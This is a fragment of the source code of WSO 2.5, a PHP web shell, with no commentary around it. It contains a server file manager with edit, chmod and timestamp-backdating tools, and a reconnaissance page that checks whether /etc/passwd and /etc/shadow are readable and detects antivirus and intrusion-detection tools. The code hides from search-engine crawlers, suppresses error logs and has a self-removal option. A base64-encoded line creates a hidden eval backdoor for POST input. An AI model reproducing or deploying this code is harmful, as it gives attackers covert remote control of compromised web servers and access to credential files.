chdir($GLOBALS["cwd"]); $zip->close(); } } } elseif ($_COOKIE["act"] == "unzip") { if (class_exists("ZipArchive")) { $zip = new ZipArchive(); foreach ($_COOKIE["f"] as $f) { if ($zip->open($_COOKIE["c"] . $f)) { $zip->extractTo($GLOBALS["cwd"]); $zip->close(); } } } } elseif ($_COOKIE["act"] == "tar") { chdir($_COOKIE["c"]); $_COOKIE["f"] = array_map("escapeshellarg", $_COOKIE["f"]); wsoEx("tar cfzv " . escapeshellarg($_POST["p2"]) . " " . implode(" ", $_COOKIE["f"])); chdir($GLOBALS["cwd"]); } unset($_COOKIE["f"]); setcookie("f", '', time() - 3600); break; default: if (!empty($_POST["p1"])) { WSOsetcookie("act", $_POST["p1"]); WSOsetcookie("f", serialize(@$_POST["f"])); WSOsetcookie("c", @$_POST["c"]); } break; } } wsoHeader(); echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>"; $dirContent = wsoScandir(isset($_POST["c"]) ? $_POST["c"] : $GLOBALS["cwd"]); if ($dirContent === false) { echo "Can't open this folder!"; wsoFooter(); return; } global $sort; $sort = array("name", 1); if (!empty($_POST["p1"])) { if (preg_match("!s_([A-z]+)_(\d{1})!", $_POST["p1"], $match)) { $sort = array($match[1], (int) $match[2]); } } echo "<script>
function sa() {
\x9\x9for(i=0;i<d.files.elements.length;i++)\xa\x9\x9\x9if(d.files.elements[i].type == 'checkbox')
\x9\x9 d.files.elements[i].checked = d.files.elements[0].checked;\xa\x9}\xa</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>\xa<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g("FilesMan",null,"s_name_" . ($sort[1] ? 0 : 1) . "")'>Name</a></th><th><a href='#' onclick='g("FilesMan",null,"s_size_" . ($sort[1] ? 0 : 1) . "")'>Size</a></th><th><a href='#' onclick='g("FilesMan",null,"s_modify_" . ($sort[1] ? 0 : 1) . "")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g("FilesMan",null,"s_perms_" . ($sort[1] ? 0 : 1) . "")'>Permissions</a></th><th>Actions</th></tr>"; $dirs = $files = array(); $n = count($dirContent); for ($i = 0; $i < $n; $i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array("name" => $dirContent[$i], "path" => $GLOBALS["cwd"] . $dirContent[$i], "modify" => date("Y-m-d H:i:s", @filemtime($GLOBALS["cwd"] . $dirContent[$i])), "perms" => wsoPermsColor($GLOBALS["cwd"] . $dirContent[$i]), "size" => @filesize($GLOBALS["cwd"] . $dirContent[$i]), "owner" => $ow["name"] ? $ow["name"] : @fileowner($dirContent[$i]), "group" => $gr["name"] ? $gr["name"] : @filegroup($dirContent[$i])); if (@is_file($GLOBALS["cwd"] . $dirContent[$i])) { $files[] = array_merge($tmp, array("type" => "file")); } elseif (@is_link($GLOBALS["cwd"] . $dirContent[$i])) { $dirs[] = array_merge($tmp, array("type" => "link", "link" => readlink($tmp["path"]))); } elseif (@is_dir($GLOBALS["cwd"] . $dirContent[$i]) && $dirContent[$i] != ".") { $dirs[] = array_merge($tmp, array("type" => "dir")); } } $GLOBALS["sort"] = $sort; function wsoCmp($a, $b) { if ($GLOBALS["sort"][0] != "size") { return strcmp(strtolower($a[$GLOBALS["sort"][0]]), strtolower($b[$GLOBALS["sort"][0]])) * ($GLOBALS["sort"][1] ? 1 : -1); } else { return ($a["size"] < $b["size"] ? -1 : 1) * ($GLOBALS["sort"][1] ? 1 : -1); } } usort($files, "wsoCmp"); usort($dirs, "wsoCmp"); $files = array_merge($dirs, $files); $l = 0; foreach ($files as $f) { echo "<tr" . ($l ? " class=l1" : '') . "><td><input type=checkbox name="f[]" value="" . urlencode($f["name"]) . "" class=chkbx></td><td><a href=# onclick="" . ($f["type"] == "file" ? "g('FilesTools',null,'" . urlencode($f["name"]) . "', 'view')">" . htmlspecialchars($f["name"]) : "g('FilesMan','" . $f["path"] . "');" " . (empty($f["link"]) ? '' : "title='{$f["link"]}'") . "><b>[ " . htmlspecialchars($f["name"]) . " ]</b>") . "</a></td><td>" . ($f["type"] == "file" ? wsoViewSize($f["size"]) : $f["type"]) . "</td><td>" . $f["modify"] . "</td><td>" . $f["owner"] . "/" . $f["group"] . "</td><td><a href=# onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "','chmod')">" . $f["perms"] . "</td><td><a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'touch')">T</a>" . ($f["type"] == "file" ? " <a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'download')">D</a>" : '') . "</td></tr>"; $l = $l ? 0 : 1; } echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>\xa <input type=hidden name=c value='" . htmlspecialchars($GLOBALS["cwd"]) . "'>
<input type=hidden name=charset value='" . (isset($_POST["charset"]) ? $_POST["charset"] : '') . "'>\xa <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; if (class_exists("ZipArchive")) { echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; } echo "<option value='tar'>Compress (tar.gz)</option>"; if (!empty($_COOKIE["act"]) && @count($_COOKIE["f"])) { echo "<option value='paste'>Paste / Compress</option>"; } echo "</select> "; if (!empty($_COOKIE["act"]) && @count($_COOKIE["f"]) && ($_COOKIE["act"] == "zip" || $_COOKIE["act"] == "tar")) { echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE["act"] == "zip" ? "zip" : "tar.gz") . "'> "; } echo "<input type='submit' value='>>'></td></tr></form></table></div>"; wsoFooter(); } goto N2iXx; bUnBe: if (!empty($auth_pass)) { if (isset($_POST["pass"]) && md5($_POST["pass"]) == $auth_pass) { WSOsetcookie(md5($_SERVER["HTTP_HOST"]), $auth_pass); } if (!isset($_COOKIE[md5($_SERVER["HTTP_HOST"])]) || $_COOKIE[md5($_SERVER["HTTP_HOST"])] != $auth_pass) { wsoLogin(); } } goto pqrUK; pqrUK: if (strtolower(substr(PHP_OS, 0, 3)) == "win") { $os = "win"; } else { $os = "nix"; } goto NCu9f; SXC8a: function actionLogout() { setcookie(md5($_SERVER["HTTP_HOST"]), '', time() - 3600); die("bye!"); } goto OhPGq; bP3xS: @ini_set("max_execution_time", 0); goto hvHWh; kKb5l: $Main = create_function('', base64_decode("QGV2YWwoJF9QT1NUWyJrMCJdKTs=")); goto ruvon; TUnnK: if (isset($_POST["c"])) { @chdir($_POST["c"]); } goto E0_34; p7swQ: $color = "#00ff00"; goto lL58N; dcXMn: function actionSecInfo() { wsoHeader(); echo "<h1>Server security information</h1><div class=content>"; function wsoSecParam($n, $v) { $v = trim($v); if ($v) { echo "<span>" . $n . ": </span>"; if (strpos($v, "\xa") === false) { echo $v . "<br>"; } else { echo "<pre class=ml1>" . $v . "</pre>"; } } } wsoSecParam("Server software", @getenv("SERVER_SOFTWARE")); if (function_exists("apache_get_modules")) { wsoSecParam("Loaded Apache modules", implode(", ", apache_get_modules())); } wsoSecParam("Disabled PHP Functions", $GLOBALS["disable_functions"] ? $GLOBALS["disable_functions"] : "none"); wsoSecParam("Open base dir", @ini_get("open_basedir")); wsoSecParam("Safe mode exec dir", @ini_get("safe_mode_exec_dir")); wsoSecParam("Safe mode include dir", @ini_get("safe_mode_include_dir")); wsoSecParam("cURL support", function_exists("curl_version") ? "enabled" : "no"); $temp = array(); if (function_exists("mysql_get_client_info")) { $temp[] = "MySql (" . mysql_get_client_info() . ")"; } if (function_exists("mssql_connect")) { $temp[] = "MSSQL"; } if (function_exists("pg_connect")) { $temp[] = "PostgreSQL"; } if (function_exists("oci_connect")) { $temp[] = "Oracle"; } wsoSecParam("Supported databases", implode(", ", $temp)); echo "<br>"; if ($GLOBALS["os"] == "nix") { wsoSecParam("Readable /etc/passwd", @is_readable("/etc/passwd") ? "yes <a href='#' onclick='g("FilesTools", "/etc/", "passwd")'>[view]</a>" : "no"); wsoSecParam("Readable /etc/shadow", @is_readable("/etc/shadow") ? "yes <a href='#' onclick='g("FilesTools", "/etc/", "shadow")'>[view]</a>" : "no"); wsoSecParam("OS version", @file_get_contents("/proc/version")); wsoSecParam("Distr name", @file_get_contents("/etc/issue.net")); if (!$GLOBALS["safe_mode"]) { $userful = array("gcc", "lcc", "cc", "ld", "make", "php", "perl", "python", "ruby", "tar", "gzip", "bzip", "bzip2", "nc", "locate", "suidperl"); $danger = array("kav", "nod32", "bdcored", "uvscan", "sav", "drwebd", "clamd", "rkhunter", "chkrootkit", "iptables", "ipfw", "tripwire", "shieldcc", "portsentry", "snort", "ossec", "lidsadm", "tcplodg", "sxid", "logcheck", "logwatch", "sysmask", "zmbscap", "sawmill", "wormscan", "ninja"); $downloaders = array("wget", "fetch", "lynx", "links", "curl", "get", "lwp-mirror"); echo "<br>"; $temp = array(); foreach ($userful as $item) { if (wsoWhich($item)) { $temp[] = $item; } } wsoSecParam("Userful", implode(", ", $temp)); $temp = array(); foreach ($danger as $item) { if (wsoWhich($item)) { $temp[] = $item; } } wsoSecParam("Danger", implode(", ", $temp)); $temp = array(); foreach ($downloaders as $item) { if (wsoWhich($item)) { $temp[] = $item; } } wsoSecParam("Downloaders", implode(", ", $temp)); echo "<br/>"; wsoSecParam("HDD space", wsoEx("df -h")); wsoSecParam("Hosts", @file_get_contents("/etc/hosts")); echo "<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit='g(null,null,"5",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>"; if (isset($_POST["p2"], $_POST["p3"]) && is_numeric($_POST["p2"]) && is_numeric($_POST["p3"])) { $temp = ''; for (; $_POST["p2"] <= $_POST["p3"]; $_POST["p2"]++) { $uid = @posix_getpwuid($_POST["p2"]); if ($uid) { $temp .= join(":", $uid) . "
"; } } echo "<br/>"; wsoSecParam("Users", $temp); } } } else { wsoSecParam("OS Version", wsoEx("ver")); wsoSecParam("Account Settings", wsoEx("net accounts")); wsoSecParam("User Accounts", wsoEx("net user")); } echo "</div>"; wsoFooter(); } goto Fcb5w; LyElU: $home_cwd = @getcwd(); goto TUnnK; VCB4U: @ini_set("log_errors", 0); goto bP3xS; aWspL: @ini_set("error_log", NULL); goto VCB4U; vLpIF: if (!empty($_SERVER["HTTP_USER_AGENT"])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if (preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) { header("HTTP/1.0 404 Not Found"); die; } } goto aWspL; QAxtR: $default_use_ajax = true; goto mBixn; sMiIU: if ($os == "win") { $home_cwd = str_replace("\", "/", $home_cwd); $cwd = str_replace("\", "/", $cwd); } goto Gwmv4; iZJdO: if (!$safe_mode) { error_reporting(0); } goto v_5ZB; Wp0pL: function wsoPermsColor($f) { if (!@is_readable($f)) { return "<font color=#FF0000>" . wsoPerms(@fileperms($f)) . "</font>"; } elseif (!@is_writable($f)) { return "<font color=white>" . wsoPerms(@fileperms($f)) . "</font>"; } else { return "<font color=#25ff00>" . wsoPerms(@fileperms($f)) . "</font>"; } } goto oF9xG; CSr1L: if (!function_exists("posix_getgrgid") && strpos($GLOBALS["disable_functions"], "posix_getgrgid") === false) { function posix_getgrgid($p) { return false; } } goto LNEfo; oF9xG: function wsoScandir($dir) { if (function_exists("scandir")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } goto Fans1; lL58N: $default_action = "FilesMan"; goto QAxtR; E0_34: $cwd = @getcwd(); goto sMiIU; bGsBN: function actionFilesTools() { if (isset($_POST["p1"])) { $_POST["p1"] = urldecode($_POST["p1"]); } if (@$_POST["p2"] == "download") { if (@is_file($_POST["p1"]) && @is_readable($_POST["p1"])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=" . basename($_POST["p1"])); if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST["p1"]); header("Content-Type: " . $type); } else { header("Content-Type: application/octet-stream"); } $fp = @fopen($_POST["p1"], "r"); if ($fp) { while (!@feof($fp)) { echo @fread($fp, 1024); } fclose($fp); } } die; } if (@$_POST["p2"] == "mkfile") { if (!file_exists($_POST["p1"])) { $fp = @fopen($_POST["p1"], "w"); if ($fp) { $_POST["p2"] = "edit"; fclose($fp); } } } wsoHeader(); echo "<h1>File tools</h1><div class=content>"; if (!file_exists(@$_POST["p1"])) { echo "File not exists"; wsoFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST["p1"])); if (!$uid) { $uid["name"] = @fileowner($_POST["p1"]); $gid["name"] = @filegroup($_POST["p1"]); } else { $gid = @posix_getgrgid(@filegroup($_POST["p1"])); } echo "<span>Name:</span> " . htmlspecialchars(@basename($_POST["p1"])) . " <span>Size:</span> " . (is_file($_POST["p1"]) ? wsoViewSize(filesize($_POST["p1"])) : "-") . " <span>Permission:</span> " . wsoPermsColor($_POST["p1"]) . " <span>Owner/Group:</span> " . $uid["name"] . "/" . $gid["name"] . "<br>"; echo "<span>Create time:</span> " . date("Y-m-d H:i:s", filectime($_POST["p1"])) . " <span>Access time:</span> " . date("Y-m-d H:i:s", fileatime($_POST["p1"])) . " <span>Modify time:</span> " . date("Y-m-d H:i:s", filemtime($_POST["p1"])) . "<br><br>"; if (empty($_POST["p2"])) { $_POST["p2"] = "view"; } if (is_file($_POST["p1"])) { $m = array("View", "Highlight", "Download", "Hexdump", "Edit", "Chmod", "Rename", "Touch"); } else { $m = array("Chmod", "Rename", "Touch"); } foreach ($m as $v) { echo "<a href=# onclick="g(null,null,'" . urlencode($_POST["p1"]) . "','" . strtolower($v) . "')">" . (strtolower($v) == @$_POST["p2"] ? "<b>[ " . $v . " ]</b>" : $v) . "</a> "; } echo "<br><br>"; switch ($_POST["p2"]) { case "view": echo "<pre class=ml1>"; $fp = @fopen($_POST["p1"], "r"); if ($fp) { while (!@feof($fp)) { echo htmlspecialchars(@fread($fp, 1024)); } @fclose($fp); } echo "</pre>"; break; case "highlight": if (@is_readable($_POST["p1"])) { echo "<div class=ml1 style="background-color: #e1e1e1;color:black;">"; $code = @highlight_file($_POST["p1"], true); echo str_replace(array("<span ", "</span>"), array("<font ", "</font>"), $code) . "</div>"; } break; case "chmod": if (!empty($_POST["p3"])) { $perms = 0; for ($i = strlen($_POST["p3"]) - 1; $i >= 0; --$i) { $perms += (int) $_POST["p3"][$i] * pow(8, strlen($_POST["p3"]) - $i - 1); } if (!@chmod($_POST["p1"], $perms)) { echo "Can't set permissions!<br><script>document.mf.p3.value="";</script>"; } } clearstatcache(); echo "<script>p3_="";</script><form onsubmit="g(null,null,'" . urlencode($_POST["p1"]) . "',null,this.chmod.value);return false;"><input type=text name=chmod value="" . substr(sprintf("%o", fileperms($_POST["p1"])), -4) . ""><input type=submit value=">>"></form>"; break; case "edit": if (!is_writable($_POST["p1"])) { echo "File isn't writeable"; break; } if (!empty($_POST["p3"])) { $time = @filemtime($_POST["p1"]); $_POST["p3"] = substr($_POST["p3"], 1); $fp = @fopen($_POST["p1"], "w"); if ($fp) { @fwrite($fp, $_POST["p3"]); @fclose($fp); echo "Saved!<br><script>p3_="";</script>"; @touch($_POST["p1"], $time, $time); } } echo "<form onsubmit="g(null,null,'" . urlencode($_POST["p1"]) . "',null,'1'+this.text.value);return false;"><textarea name=text class=bigarea>"; $fp = @fopen($_POST["p1"], "r"); if ($fp) { while (!@feof($fp)) { echo htmlspecialchars(@fread($fp, 1024)); } @fclose($fp); } echo "</textarea><input type=submit value=">>"></form>"; break; case "hexdump": $c = @file_get_contents($_POST["p1"]); $n = 0; $h = array("00000000<br>", '', ''); $len = strlen($c); for ($i = 0; $i < $len; ++$i) { $h[1] .= sprintf("%02X", ord($c[$i])) . " "; switch (ord($c[$i])) { case 0: $h[2] .= " "; break; case 9: $h[2] .= " "; break; case 10: $h[2] .= " "; break; case 13: $h[2] .= " "; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i + 1 < $len) { $h[0] .= sprintf("%08X", $i + 1) . "<br>"; } $h[1] .= "<br>"; $h[2] .= "
"; } } echo "<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>" . $h[0] . "</pre></span></td><td bgcolor=#282828><pre>" . $h[1] . "</pre></td><td bgcolor=#333333><pre>" . htmlspecialchars($h[2]) . "</pre></td></tr></table>"; break; case "rename": if (!empty($_POST["p3"])) { if (!@rename($_POST["p1"], $_POST["p3"])) { echo "Can't rename!<br>"; } else { die("<script>g(null,null,"" . urlencode($_POST["p3"]) . "",null,"")</script>"); } } echo "<form onsubmit="g(null,null,'" . urlencode($_POST["p1"]) . "',null,this.name.value);return false;"><input type=text name=name value="" . htmlspecialchars($_POST["p1"]) . ""><input type=submit value=">>"></form>"; break; case "touch": if (!empty($_POST["p3"])) { $time = strtotime($_POST["p3"]); if ($time) { if (!touch($_POST["p1"], $time, $time)) { echo "Fail!"; } else { echo "Touched!"; } } else { echo "Bad time format!"; } } clearstatcache(); echo "<script>p3_="";</script><form onsubmit="g(null,null,'" . urlencode($_POST["p1"]) . "',null,this.touch.value);return false;"><input type=text name=touch value="" . date("Y-m-d H:i:s", @filemtime($_POST["p1"])) . ""><input type=submit value=">>"></form>"; break; } echo "</div>"; wsoFooter(); } goto vMwzZ; kORnT: @define("WSO_VERSION", "2.5"); goto H_MjG; xeLTs: if ($argc == 3) { $_POST = unserialize(base64_decode($argv[1])); $_SERVER = unserialize(base64_decode($argv[2])); } goto vLpIF; k3f9L: if (!isset($_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"])) { $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] = (bool) $default_use_ajax; } goto vOaih; GrLnO: function wsoHeader() { if (empty($_POST["charset"])) { $_POST["charset"] = $GLOBALS["default_charset"]; } global $color; echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST["charset"] . "'><title>" . $_SERVER["HTTP_HOST"] . " - WSO " . WSO_VERSION . "</title>\xa<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\xatable.info{ color:#fff;background-color:#222; }
span,h1,a{ color: {$color} !important; }\xaspan{ font-weight: bolder; }
h1{ border-left:5px solid {$color};padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }\xaa:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; }\xaform{ margin:0px; }\xa#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }\xa.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}\xa.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}\xa</style>\xa<script>\xa var c_ = '" . htmlspecialchars($GLOBALS["cwd"]) . "';\xa var a_ = '" . htmlspecialchars(@$_POST["a"]) . "'\xa var charset_ = '" . htmlspecialchars(@$_POST["charset"]) . "';\xa var p1_ = '" . (strpos(@$_POST["p1"], "\xa") !== false ? '' : htmlspecialchars($_POST["p1"], ENT_QUOTES)) . "';
var p2_ = '" . (strpos(@$_POST["p2"], "
") !== false ? '' : htmlspecialchars($_POST["p2"], ENT_QUOTES)) . "';
var p3_ = '" . (strpos(@$_POST["p3"], "
") !== false ? '' : htmlspecialchars($_POST["p3"], ENT_QUOTES)) . "';\xa var d = document;\xa function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
\x9if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\xa\x9 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\xa \x9if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\xa if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
\x9function g(a,c,p1,p2,p3,charset) {\xa \x9set(a,c,p1,p2,p3,charset);
\x9 d.mf.submit();\xa\x9}\xa\x9function a(a,c,p1,p2,p3,charset) {\xa\x9 set(a,c,p1,p2,p3,charset);\xa var params = 'ajax=true';
\x9for(i=0;i<d.mf.elements.length;i++)\xa\x9 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\xa\x9\x9sr('" . addslashes($_SERVER["REQUEST_URI"]) . "', params);\xa\x9}
function sr(url, params) {
\x9if (window.XMLHttpRequest)
\x9\x9 req = new XMLHttpRequest();
\x9 else if (window.ActiveXObject)
\x9 req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {\xa req.onreadystatechange = processReqChange;\xa req.open('POST', url, true);\xa req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\xa req.send(params);\xa }
\x9}
function processReqChange() {\xa \x9if( (req.readyState == 4) )
\x9if(req.status == 200) {
\x9\x9 \x9var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');\xa \x9\x9 var arr=reg.exec(req.responseText);\xa \x9eval(arr[2].substr(0, arr[1]));\xa\x9 \x9} else alert('Request error!');
\x9}
</script>\xa<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>\xa<form method=post name=mf style='display:none;'>
<input type=hidden name=a>\xa<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>\xa<input type=hidden name=charset>
</form>"; $freeSpace = @diskfreespace($GLOBALS["cwd"]); $totalSpace = @disk_total_space($GLOBALS["cwd"]); $totalSpace = $totalSpace ? $totalSpace : 1; $release = @php_uname("r"); $kernel = @php_uname("s"); $explink = "http://exploit-db.com/search/?action=search&filter_description="; if (strpos("Linux", $kernel) !== false) { $explink .= urlencode("Linux Kernel " . substr($release, 0, 6)); } else { $explink .= urlencode($kernel . " " . substr($release, 0, 3)); } if (!function_exists("posix_getegid")) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid["name"]; $uid = $uid["uid"]; $group = $gid["name"]; $gid = $gid["gid"]; } $cwd_links = ''; $path = explode("/", $GLOBALS["cwd"]); $n = count($path); for ($i = 0; $i < $n - 1; $i++) { $cwd_links .= "<a href='#' onclick='g("FilesMan",""; for ($j = 0; $j <= $i; $j++) { $cwd_links .= $path[$j] . "/"; } $cwd_links .= "")'>" . $path[$i] . "/</a>"; } $charsets = array("UTF-8", "Windows-1251", "KOI8-R", "KOI8-U", "cp866"); $opt_charsets = ''; foreach ($charsets as $item) { $opt_charsets .= "<option value="" . $item . "" " . ($_POST["charset"] == $item ? "selected" : '') . ">" . $item . "</option>"; } $m = array("Sec. Info" => "SecInfo", "Files" => "FilesMan", "Console" => "Console", "Sql" => "Sql", "Php" => "Php", "String tools" => "StringTools", "Bruteforce" => "Bruteforce", "Network" => "Network"); if (!empty($GLOBALS["auth_pass"])) { $m["Logout"] = "Logout"; } $m["Self remove"] = "SelfRemove"; $menu = ''; foreach ($m as $k => $v) { $menu .= "<th width="" . (int) (100 / count($m)) . "%">[ <a href="#" onclick="g('" . $v . "',null,'','','')">" . $k . "</a> ]</th>"; } $drives = ''; if ($GLOBALS["os"] == "win") { foreach (range("c", "z") as $drive) { if (is_dir($drive . ":\")) { $drives .= "<a href="#" onclick="g('FilesMan','" . $drive . ":/')">[ " . $drive . " ]</a> "; } } } echo "<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:" . ($GLOBALS["os"] == "win" ? "<br>Drives:" : '') . "</span></td>" . "<td><nobr>" . substr(@php_uname(), 0, 120) . " <a href="" . $explink . "" target=_blank>[exploit-db.com]</a></nobr><br>" . $uid . " ( " . $user . " ) <span>Group:</span> " . $gid . " ( " . $group . " )<br>" . @phpversion() . " <span>Safe mode:</span> " . ($GLOBALS["safe_mode"] ? "<font color=red>ON</font>" : "<font color=green><b>OFF</b></font>") . " <a href=# onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> " . date("Y-m-d H:i:s") . "<br>" . wsoViewSize($totalSpace) . " <span>Free:</span> " . wsoViewSize($freeSpace) . " (" . (int) ($freeSpace / $totalSpace * 100) . "%)<br>" . $cwd_links . " " . wsoPermsColor($GLOBALS["cwd"]) . " <a href=# onclick="g('FilesMan','" . $GLOBALS["home_cwd"] . "','','','')">[ home ]</a><br>" . $drives . "</td>" . "<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">" . $opt_charsets . "</optgroup></select><br><span>Server IP:</span><br>" . @$_SERVER["SERVER_ADDR"] . "<br><span>Client IP:</span><br>" . $_SERVER["REMOTE_ADDR"] . "</nobr></td></tr></table>" . "<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>" . $menu . "</tr></table><div style="margin:5">"; } goto wA5Y1; N2iXx: function actionStringTools() { if (!function_exists("hex2bin")) { function hex2bin($p) { return decbin(hexdec($p)); } } if (!function_exists("binhex")) { function binhex($p) { return dechex(bindec($p)); } } if (!function_exists("hex2ascii")) { function hex2ascii($p) { $r = ''; for ($i = 0; $i < strLen($p); $i += 2) { $r .= chr(hexdec($p[$i] . $p[$i + 1])); } return $r; } } if (!function_exists("ascii2hex")) { function ascii2hex($p) { $r = ''; for ($i = 0; $i < strlen($p); ++$i) { $r .= sprintf("%02X", ord($p[$i])); } return strtoupper($r); } } if (!function_exists("full_urlencode")) { function full_urlencode($p) { $r = ''; for ($i = 0; $i < strlen($p); ++$i) { $r .= "%" . dechex(ord($p[$i])); } return strtoupper($r); } } $stringTools = array("Base64 encode" => "base64_encode", "Base64 decode" => "base64_decode", "Url encode" => "urlencode", "Url decode" => "urldecode", "Full urlencode" => "full_urlencode", "md5 hash" => "md5", "sha1 hash" => "sha1", "crypt" => "crypt", "CRC32" => "crc32", "ASCII to HEX" => "ascii2hex", "HEX to ASCII" => "hex2ascii", "HEX to DEC" => "hexdec", "HEX to BIN" => "hex2bin", "DEC to HEX" => "dechex", "DEC to BIN" => "decbin", "BIN to HEX" => "binhex", "BIN to DEC" => "bindec", "String to lower case" => "strtolower", "String to upper case" => "strtoupper", "Htmlspecialchars" => "htmlspecialchars", "String length" => "strlen"); if (isset($_POST["ajax"])) { WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "ajax", true); ob_start(); if (in_array($_POST["p1"], $stringTools)) { echo $_POST["p1"]($_POST["p2"]); } $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\x9\'\x0") . "';
"; echo strlen($temp), "
", $temp; die; } if (empty($_POST["ajax"]) && !empty($_POST["p1"])) { WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "ajax", 0); } wsoHeader(); echo "<h1>String conversions</h1><div class=content>"; echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; foreach ($stringTools as $k => $v) { echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>"; } echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] ? "checked" : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST["p1"]) ? '' : htmlspecialchars(@$_POST["p2"])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST["p1"]) ? "display:none;" : '') . "margin-top:5px' id='strOutput'>"; if (!empty($_POST["p1"])) { if (in_array($_POST["p1"], $stringTools)) { echo htmlspecialchars($_POST["p1"]($_POST["p2"])); } } echo "</pre></div><br><h1>Search files:</h1><div class=content>
\x9 <form onsubmit="g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;"><table cellpadding='1' cellspacing='0' width='50%'>\xa\x9 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\xa\x9 \x9<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS["cwd"]) . "' style='width:100%'></td></tr>
